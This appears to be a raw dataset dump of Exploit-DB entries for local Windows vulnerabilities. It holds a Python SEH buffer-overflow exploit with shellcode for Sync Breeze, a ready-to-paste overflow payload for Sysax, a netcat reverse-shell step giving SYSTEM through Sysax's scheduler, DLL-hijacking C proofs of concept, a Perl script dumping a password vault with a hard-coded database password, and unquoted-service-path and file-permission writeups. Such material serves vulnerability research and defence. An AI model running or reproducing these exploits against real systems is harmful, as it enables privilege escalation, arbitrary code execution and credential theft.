deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41773
Description: Sync Breeze Enterprise 9.5.16 - 'Import Command' Local Buffer Overflow
Type: local
Platform: windows
Date: 2017-03-29
Author: Daniel Teixeira

Exploit:
#!/usr/bin/env python

# Exploit Title: Sync Breeze Enterprise 9.5.16 - 'Import Command' Buffer Overflow (SEH)
# Date: 2017-03-29
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.5.16.exe
# Version: 9.5.16
# Tested on: Windows 7 SP1 x86

import os,struct

#Buffer overflow
junk = "A" * 1536

#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)

#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close()
Exploit-DB #49009
Description: Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Julio Aviña

Exploit:
# Exploit Title: Syncplify.me Server! 5.0.37 - 'SMWebRestServicev5' Unquoted Service Path
# Date: 2020-11-08
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.syncplify.me/
# Software Link: https://download.syncplify.me/SMServer_Setup.exe
# Version: 5.0.37
# Tested on: Windows 10 Pro x64 es 
# Vulnerability Type: Unquoted Service Path


# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%SMWebRestServicev5%"' get displayname, pathname, startmode, startname

DisplayName                       PathName                                                          StartMode  StartName
Syncplify.me Web/REST Server! v5  C:\Program Files\Syncplify\Syncplify.me Server!\SMWebRestSvc.exe  Auto       LocalSystem

# 2. To check service info:

C:\>sc qc "SMWebRestServicev5"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SMWebRestServicev5
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Syncplify\Syncplify.me Server!\SMWebRestSvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Syncplify.me Web/REST Server! v5
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.
Exploit-DB #18981
Description: Sysax 5.60 - Create SSL Certificate Buffer Overflow
Type: local
Platform: windows
Date: 2012-06-04
Author: Craig Freyman

Exploit:
#Title: Sysax <= 5.60 Create SSL Certificate Buffer Overflow
#Author: Craig Freyman (@cd1zz)
#Tested on: Windows XP SP3
#Discovered: May 29, 2012
#Vendor notified: May 30, 2012
#Details: http://www.pwnag3.com/2012/06/sysax-create-ssl-certificate-buffer.html

#Go to Manage Server Settings -> Security Settings Configure -> Create Certificate -> <Paste the value below into the Country Name field>
#You will get an error, click OK and voila, code execution

#calc.exe shell32.ll jmp esp 7cb97475 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAut¹|GGGGGGGGGGGGGGÛÅÙt$ôYIIIICCCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLJHK9S030EPU0MYKUVQ9BE4LKPRVPLK1BTLLKQBUDLKBR184ONWQZ1601KOVQYPNL7LE13LERFLWPIQ8O4MC1O7JBZPQBV7LKF220LKW2GLEQN0LK1P48LE9P2TPJS1XPPPLKW8DXLK0XWPEQ8SKS7L0ILKFTLKUQXV6QKOFQ9PNL9QHO4M5QYW08M03EJTS3SML8WKSMVDT5M2QHLK68Q431HS3VLKDLPKLK0X5L318SLKTDLK5QN0K9PDQ46DQKQK3QQI0ZV1KOKP68QOPZLKB2ZKLFQM2J5QLMMUH930EPUPV0BHVQLK2OK7KOXUOKZPOEY20VU8Y6Z5OMMMKON5GL5VCL5ZMPKKKPT55UOKPG23D2RORJ30QCKO8UBC51RLSSVNBE3H55UPAAGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
Exploit-DB #50834
Description: Sysax FTP Automation 6.9.0 - Privilege Escalation
Type: local
Platform: windows
Date: 2022-03-22
Author: bzyo

Exploit:
# Exploit Author: bzyo (@bzyo_)
# Exploit Title: Sysax FTP Automation 6.9.0 - Privilege Escalation
# Date: 03-20-2022
# Vulnerable Software: Sysax FTP Automation 6.9.0
# Vendor Homepage: https://www.sysax.com/
# Version: 6.9.0
# Software Link: https://www.sysax.com/download/sysaxauto_setup.msi
# Tested on: Windows 10 x64

# Details:
Sysax Scheduler Service runs as Local System. By default the application allows for low privilege users to create/run backup jobs other than themselves.  By removing the option to run as current user or another, the task will run as System.  A low privilege user could abuse this and escalate their privileges to local system.

# Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running Sysax FTP Automation using a low privileged user account

# Exploit:
Logged in as low privileged account

1. Create folder c:\temp
2. Download netcat (nc.exe) to c:\temp
3. Create file 'pwn.bat' in c:\temp with contents
	c:\temp\nc.exe localhost 1337 -e cmd
4. Open command prompt and netcat listener
	nc -nlvvp 1337
5. Open sysaxschedscp.exe from C:\Program Files (x86)\SysaxAutomation
6. Select Setup Scheduled/Triggered Tasks
	- Add task (Triggered)
	- Update folder to monitor to be c:\temp
	- Check 'Run task if a file is added to the monitor folder or subfolder(s)'
	- Choose 'Run any other Program' and choose c:\temp\pwn.bat
	- Uncheck 'Login as the following user to run task'
	- Finish and Save
7. Create new text file in c:\temp
8. Check netcat listener
	C:\WINDOWS\system32>whoami
	whoami
	nt authority\system
Exploit-DB #22465
Description: Sysax FTP Automation Server 5.33 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2012-11-04
Author: Craig Freyman

Exploit:
#Title: Sysax FTP Automation Server Local Privilege Escalation
#Author: Craig Freyman (@cd1zz)
#OS Tested: XP SP3 32bit
#Version Tested: 5.33
#Date Discovered: October 1, 2012
#Vendor Contacted: October 21, 2012
#Vendor Response: November 1, 2012
#Demo: http://www.pwnag3.com/2012/11/sysax-ftp-automation-server-privilege.html

Sysax FTP Automation <= 5.33 has a privilege escalation vulnerability. This can be exploited
by leveraging the Scheduled Script -> Scheduled Task functionality. The scheduled task 
function allows you to run any external program/execuable you want, without specifying 
credentials. By default, this product installs under the LOCALSYSTEM service so when the 
binary is executed, it runs under that context. 

Sysax fixed this problem in version 5.34.
Exploit-DB #50009
Description: SysGauge 7.9.18 - ' SysGauge Server' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-15
Author: Brian Rodriguez

Exploit:
# Exploit Title: SysGauge 7.9.18 - ' SysGauge Server' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage:  https://www.sysgauge.com
# Software Link: https://www.sysgauge.com/setups/sysgaugesrv_setup_v7.9.18.exe
# Tested Version: 7.9.18
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

C:\>sc qc "SysGauge Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: SysGauge Server
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\SysGauge
Server\bin\sysgaus.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : SysGauge Server
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #49248
Description: System Explorer 7.0.0 - 'SystemExplorerHelpService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-14
Author: Mohammed Alshehri

Exploit:
# Exploit Title: System Explorer 7.0.0 - 'SystemExplorerHelpService' Unquoted Service Path
# Date: 2020-10-14
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: http://systemexplorer.net/
# Software Link:  http://systemexplorer.net/download/SystemExplorerSetup.exe
# Version: Version 7.0.0
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763

# Service info:

C:\Users\m507>sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SystemExplorerHelpService
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Explorer Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>


# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #50902
Description: TCQ - ITeCProteccioAppServer.exe - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-05-11
Author: Edgar Carrillo Egea

Exploit:
# Exploit Title: TCQ - 'ITeCProteccioAppServer.exe'  Unquoted Service Path
# Discovery by: Edgar Carrillo Egea - https://twitter.com/ecarrilloeg
# Discovery Date: 2022-04-25
# Vendor Homepage: https://itec.es/programas/
# Vulnerability Type: Unquoted Service Path Privilege Escalation
# Tested on OS: Microsoft Windows 11 Home

To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
                            

C:\Users\edgar>sc qc "ITeCProteccioAppServer"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ITeCProteccioAppServer
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ITeC\LIC\ITeCProteccioAppServer.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ITeCProteccioAppServer
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\edgar>systeminfo

Nombre de host:                            DESKTOP-0DL5SID
Nombre del sistema operativo:              Microsoft Windows 11 Home
Versión del sistema operativo:             10.0.22000 N/D Compilación 22000
Exploit-DB #48953
Description: TDM Digital Signage PC Player 4.1 - Insecure File Permissions
Type: local
Platform: windows
Date: 2020-10-27
Author: LiquidWorm

Exploit:
# Exploit Title: TDM Digital Signage PC Player 4.1 - Insecure File Permissions
# Date: 2020-09-23
# Exploit Author: LiquidWorm
# Software Link: https://www.tdmsignage.com / https://pro.sony/en_NL/products/display-software/tdm-ds1y-tdm-ds3y
# Version: 4.1.0.4

Vendor: TDM [Trending Digital Marketing]
Product web page: https://www.tdmsignage.com
                  https://pro.sony/en_NL/products/display-software/tdm-ds1y-tdm-ds3y
Affected version: 4.1.0.4

Summary: With TDM you can do a lot more than just show Digital Signage.
With our Enterprise-Grade software you open the door to Interactive Signage,
Analytics, Proof of Play and a lot more.

Desc: TDM Digital Signage Windows Player suffers from an elevation of
privileges vulnerability which can be used by a simple authenticated
user that can change the executable file with a binary of choice. The
vulnerability exist due to the improper permissions, with the 'M' flag
(Modify) or 'C' flag (Change) for 'Authenticated Users' group.

Tested on: Microsoft Windows 10 Home


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5604
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5604.php

23.09.2020

--


C:\>icacls TDMSignage
TDMSignage BUILTIN\Administrators:(I)(OI)(CI)(F)
           NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
           BUILTIN\Users:(I)(OI)(CI)(RX)
           NT AUTHORITY\Authenticated Users:(I)(M)              <---------<<<
           NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)  <---------<<<

Successfully processed 1 files; Failed processing 0 files

C:\TDMSignage>dir /b *.exe
Player.exe
unins000.exe

C:\TDMSignage>icacls Player.exe && icacls unins000.exe
Player.exe BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Users:(I)(RX)
           NT AUTHORITY\Authenticated Users:(I)(M)              <---------<<<

Successfully processed 1 files; Failed processing 0 files
unins000.exe BUILTIN\Administrators:(I)(F)
             NT AUTHORITY\SYSTEM:(I)(F)
             BUILTIN\Users:(I)(RX)
             NT AUTHORITY\Authenticated Users:(I)(M)            <---------<<<

Successfully processed 1 files; Failed processing 0 files
Exploit-DB #14747
Description: TeamMate Audit Management Software Suite - 'mfc71enu.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Beenu Arora

Exploit:
/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora , Anirban ,Ganesha, Dinesh Arora
# Site : www.beenuarora.com

Exploit Title: TeamMate Audit Management Software Suite DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , TeamMate Audit Management Software Suite v8.0
patch 2
Vulnerable extensions: tmx

Compile and rename to mfc71enu.dll, create a file in the same dir with one
of the following extensions:
.tmx
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14747.zip
Exploit-DB #50743
Description: TeamSpeak 3.5.6 - Insecure File Permissions
Type: local
Platform: windows
Date: 2022-02-16
Author: Aryan Chehreghani

Exploit:
# Exploit Title: TeamSpeak 3.5.6 - Insecure File Permissions
# Date: 2022-02-15
# Exploit Author: Aryan Chehreghani
# Contact: aryanchehreghani@yahoo.com
# Vendor Homepage: https://www.teamspeak.com
# Software Link: https://www.teamspeak.com/en/downloads
# Version: 3.5.6 
# Tested on: Windows 10 x64

# [ About - TeamSpeak ]:
#TeamSpeak (TS) is a proprietary voice-over-Internet Protocol (VoIP),
#application for audio communication between users on a chat channel,
#much like a telephone conference call, Users typically use headphones with a microphone,
#The client software connects to a TeamSpeak server of the user's choice from which the user may join chat channels,
#The target audience for TeamSpeak is gamers, who can use the software to communicate,
#with other players on the same team of a multiplayer video game,
#Communicating by voice gives a competitive advantage by enabling players to keep their hands on the controls.

# [ Description ]:
#The TeamSpeak Application was installed with insecure file permissions.
#It was found that all folder and file permissions were incorrectly configured during installation.
#It was possible to replace the service binary. 

# [ POC ]:

C:\Users\user\AppData\Local\TeamSpeak 3 Client>icacls *.exe

createfileassoc.exe NT AUTHORITY\SYSTEM:(F)
                    BUILTIN\Administrators:(F)
                    WIN-FREMP1UB3LB\Administrator:(F)

error_report.exe NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 WIN-FREMP1UB3LB\Administrator:(F)

package_inst.exe NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 WIN-FREMP1UB3LB\Administrator:(F)

QtWebEngineProcess.exe NT AUTHORITY\SYSTEM:(F)
                       BUILTIN\Administrators:(F)
                       WIN-FREMP1UB3LB\Administrator:(F)

ts3client_win32.exe NT AUTHORITY\SYSTEM:(F)
                    BUILTIN\Administrators:(F)
                    WIN-FREMP1UB3LB\Administrator:(F)

Uninstall.exe NT AUTHORITY\SYSTEM:(F)
              BUILTIN\Administrators:(F)
              WIN-FREMP1UB3LB\Administrator:(F)

update.exe NT AUTHORITY\SYSTEM:(F)
           BUILTIN\Administrators:(F)
           WIN-FREMP1UB3LB\Administrator:(F)

Successfully processed 7 files; Failed processing 0 files

# [ Exploit - Privilege Escalation ]:
#Replace ts3client_win32.exe,update.exe,package_inst.exe,QtWebEngineProcess.exe,createfileassoc.exe and other ...
#with any executable malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
Exploit-DB #14734
Description: TeamViewer 5.0.8703 - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-24
Author: Glafkos Charalambous

Exploit:
/* 
Exploit Title: TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: 5.0.8703
Tested on: Windows XP SP3 En
Vulnerable extensions: .tvs .tvc
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "TeamViewer DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}
Exploit-DB #14764
Description: TechSmith Snagit 10 (Build 788) - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Encrypt3d.M!nd

Exploit:
/*
TechSmith Snagit 10 (Build 788) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010
Download: http://www.techsmith.com/download/snagittrial.asp

Details:
Compile the following code and rename it to dwmapi.dl
and place file with one of the affected types in the same directory of the dll

Affected types: snag , snagcc , snagprof

Code :(used the one from this advisory:http://www.exploit-db.com/exploits/14758/):
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14764.zip
Exploit-DB #10201
Description: TEKUVA - Password Reminder Authentication Bypass
Type: local
Platform: windows
Date: 2009-11-21
Author: iqlusion

Exploit:
#!/usr/bin/perl

# Exploit: TEKUVA Password Reminder Authentication Bypass
# Date: [11/19/2009]
# Author: iqlusion [x+nospam@iqlusion.net]
# Software Link: http://download.cnet.com/Password-Reminder/3000-2064_4-10966598.html
# Version: 1.0.0.1

# Info: TEKUVA Password Reminder is a password vault that allows you to store all
#       your credentials in one spot and all you have to remember is a single 'main'
#       password to access your vault. Unfortunately, the vault is actually an 
#       Access 2007 database that is protected by a password which is hard coded into
#       the program, not your main password.
#
#       This script connects to the database using the hard coded db password and dumps
#       everything into an HTML table, bypassing the need to enter the main vault
#       password (or use the program at all for that matter). Modify values as needed.

# Greetz: quetzal : w00tb0t : sck

use DBI;

$DBFile  = "C:\\Program Files\\TEKUVA\\Password_Reminder\\dtb\\rem.accdb";
$sql = "SELECT app,lgn,pwd,nts FROM pwdrem WHERE idn IS NOT NULL";

$DSN = "DRIVER=Microsoft Access Driver (*.mdb, *.accdb);dbq=$DBFile;pwd=P\@z19r1m";
$dbh = DBI->connect("dbi:ODBC:$DSN")||die print $DBI::errstr;
$dbh->{LongReadLen}=9001;
$qry = $dbh->prepare($sql);
$qry->execute;

open(PWD,">results.html") || die print $!;
print PWD "<table border=1><thead><tr><td>Application/URL</td><td>Login</td><td>Password</td><td>Notes:</td></tr></thead>\n";
while(my($app,$lgn,$pwd,$nts) = $qry->fetchrow_array()){print PWD "<tr><td>$app</td><td>$lgn</td><td>$pwd</td><td>$nts</td></tr>\n";}
print PWD "</table></html>";
print "Passwords dumped to results.html\n\n";
Exploit-DB #34967
Description: Telefonica O2 Connection Manager 8.7 - Service Trusted Path Privilege Escalation
Type: local
Platform: windows
Date: 2014-10-14
Author: LiquidWorm

Exploit:

Telefonica O2 Connection Manager 8.7 Service Trusted Path Privilege Escalation


Vendor: Telefonica S.A.
Product web page: http://www.telefonica.com | http://www.o2.co.uk
Affected version: 8.7.6.792

Summary: O2 Connection Manager will help you to manage your internet
connections by getting you connected to the fastest available network.
Automatically connect you to the fastest available network including
your home broadband if you have a wireless router.

Desc: The O2 Connection Manager's service suffers from an unquoted
search path issue impacting the Import WiFi 'TGCM_ImportWiFiSvc'
service for Windows. This could potentially allow an authorized but
non-privileged local user to execute arbitrary code with elevated
privileges on the system. A successful attempt would require the
local user to be able to insert their code in the system root path
undetected by the OS or other security applications where it could
potentially be executed during application startup or reboot. If
successful, the local user’s code would execute with the elevated
privileges of the application. 

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5200
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5200.php


22.09.2014

---


C:\>sc qc TGCM_ImportWiFiSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TGCM_ImportWiFiSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\O2\Connection Manager\ImpWiFiSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : TGCM_ImportWiFiSvc
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>icacls "C:\Program Files (x86)\O2\Connection Manager\ImpWiFiSvc.exe"
C:\Program Files (x86)\O2\Connection Manager\ImpWiFiSvc.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                            BUILTIN\Administrators:(I)(F)
                                                            BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\>

---